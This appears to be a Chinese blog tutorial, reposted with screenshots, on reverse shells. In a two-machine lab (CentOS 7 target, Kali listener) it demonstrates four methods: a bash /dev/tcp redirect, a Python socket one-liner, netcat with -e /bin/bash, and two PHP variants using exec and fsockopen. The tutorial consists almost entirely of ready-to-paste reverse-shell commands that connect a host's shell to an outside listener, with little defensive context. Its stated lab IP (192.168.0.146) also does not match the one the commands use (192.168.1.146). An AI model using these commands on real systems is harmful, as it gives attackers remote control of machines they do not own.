什么是反弹shell?
简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:
http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。那么关键是怎么做了?今天我也向大佬学习学习总结总结,不足之处还望多多包含。
实验环境
CentOS 7: 192.168.0.147
kali 2.0: 192.168.0.146
方法1:使用linux命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
- 首先在kali上使用
nc
监听7777
端口
root@kali:~# nc -lvp 7777
![img_0250e8a3d782e02a844d61acc98ff6bd.png](https://i-blog.csdnimg.cn/blog_migrate/5346996d78ccbca2639425d7a3d95f23.png)
图片.png
- 然后再CentOS 7下执行以下命令:
[root@localhost ~]# bash -i >& /dev/tcp/192.168.1.146/7777 0>&1
![img_a1548e78e4445babfe0a85fa9d8b1977.png](https://i-blog.csdnimg.cn/blog_migrate/6b339f174fef054eb60de56350aede1c.png)
图片.png
- 执行完命令之后再回到kali机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了
![img_eb2cdf96faa0825ec71e678ca4cc6319.png](https://i-blog.csdnimg.cn/blog_migrate/c96d332c59d2d24ac897bb6ca2ede04f.png)
图片.png
方法2:使用python反弹shell
反弹shell命令格式如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- 同理,首先在kali上使用
nc
监听7777
端口
root@kali:~# nc -lvp 7777
![img_2c8c1e6cbddcdaa62e6f9760f15eaaf9.png](https://i-blog.csdnimg.cn/blog_migrate/9aecaaf14ac8acc551c9241ee4b6fd34.png)
图片.png
- 然后再CentOS 7下执行以下命令:
[root@localhost ~]# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.146',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
![img_ef33faf8b572caec89bdb75876a27326.png](https://i-blog.csdnimg.cn/blog_migrate/729c8eaca624e98978703f8e2f4ebd52.png)
图片.png
- 然后返回kali查看发现也可以成功反弹shell,如下所示:
![img_faf3d5cadf43807df5b1b413aabba9ae.png](https://i-blog.csdnimg.cn/blog_migrate/5358fe2ff0dde73b0a066f8af22aeb35.png)
图片.png
方法3:使用nc
反弹shell,前提这自然是反弹shell的服务器安装有nc
才行
- 首先查看是否安装了
nc
,我这里已经安装的有了,如下图所示,如果没安装的还请自行百度解决。
![img_d4fefa457375bac16f84f454f292ec5b.png](https://i-blog.csdnimg.cn/blog_migrate/356116289b827a25f8a91b45a53bb7db.png)
图片.png
- 然后下一步还是在我们kali上面监听端口。
root@kali:~# nc -lvp 7777
![img_729718906c280b0fc3ccd256c56a80b0.png](https://i-blog.csdnimg.cn/blog_migrate/b4957dda726832d3d0b8d93295fddabb.png)
图片.png
- 最后在CentOS上面使用nc反弹shell到kali,命令如下:
[root@localhost ~]# nc -e /bin/bash 192.168.1.146 7777
![img_0338977d82056bf4d705bf5251eb70e5.png](https://i-blog.csdnimg.cn/blog_migrate/f5a61e052895fb90498805951d46353b.png)
图片.png
- 执行完命令之后,返回kali可看到反弹shell成功,并可以执行命令对服务器进行操作,如下图所示:
![img_42c6755f7bc63e60122ef37e62047602.png](https://i-blog.csdnimg.cn/blog_migrate/1f28b5aab61771145e1fa395ef099698.png)
图片.png
方法4:使用php反弹shell
1).首先最简单的一个办法,就是使用php
的exec
函数执行方法1反弹shell的命令
- 第一步还是在kali上面监听端口
root@kali:~# nc -lvp 7777
![img_00b97f05f02852236a6680987447e1a7.png](https://i-blog.csdnimg.cn/blog_migrate/062990a69d97b0dedbf53e9a3009ead0.png)
图片.png
- 然后在CentOS执行以下命令:
[root@localhost ~]# php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
![img_39541ba8ad12439488a55d04e624add8.png](https://i-blog.csdnimg.cn/blog_migrate/3b5232a70e9c996c32696af966a29ea5.png)
图片.png
- 最后我们回到kali上面查看,即可看到成功反弹的shell
![img_d1f402c00f38fe86f22a4376f3c74473.png](https://i-blog.csdnimg.cn/blog_migrate/d7e5513407b87551fbadf57cc743786a.png)
图片.png
2).使用php
的fsockopen
去连接远程
命令格式如下:
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
- 第一步在kali上面监听端口
root@kali:~# nc -lvp 7777
![img_8b6dec31fac83c50f2deb996b24940a7.png](https://i-blog.csdnimg.cn/blog_migrate/5d54360dd07e070c185c70a74a68cf55.png)
图片.png
- 然后在CentOS执行以下命令:
[root@localhost ~]# php -r '$sock=fsockopen("192.168.1.146",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
![img_53029b2392e271cff839ee96b900c35a.png](https://i-blog.csdnimg.cn/blog_migrate/18759f9f2d4ef6c67cec3578ff5d9c08.png)
图片.png
- 最后在kali上可以看到成功反弹shell
![img_67fe7d67f6e80ec73670b891bfdbcd73.png](https://i-blog.csdnimg.cn/blog_migrate/5c2e17c583954e988ac95160cbf45c2f.png)
图片.png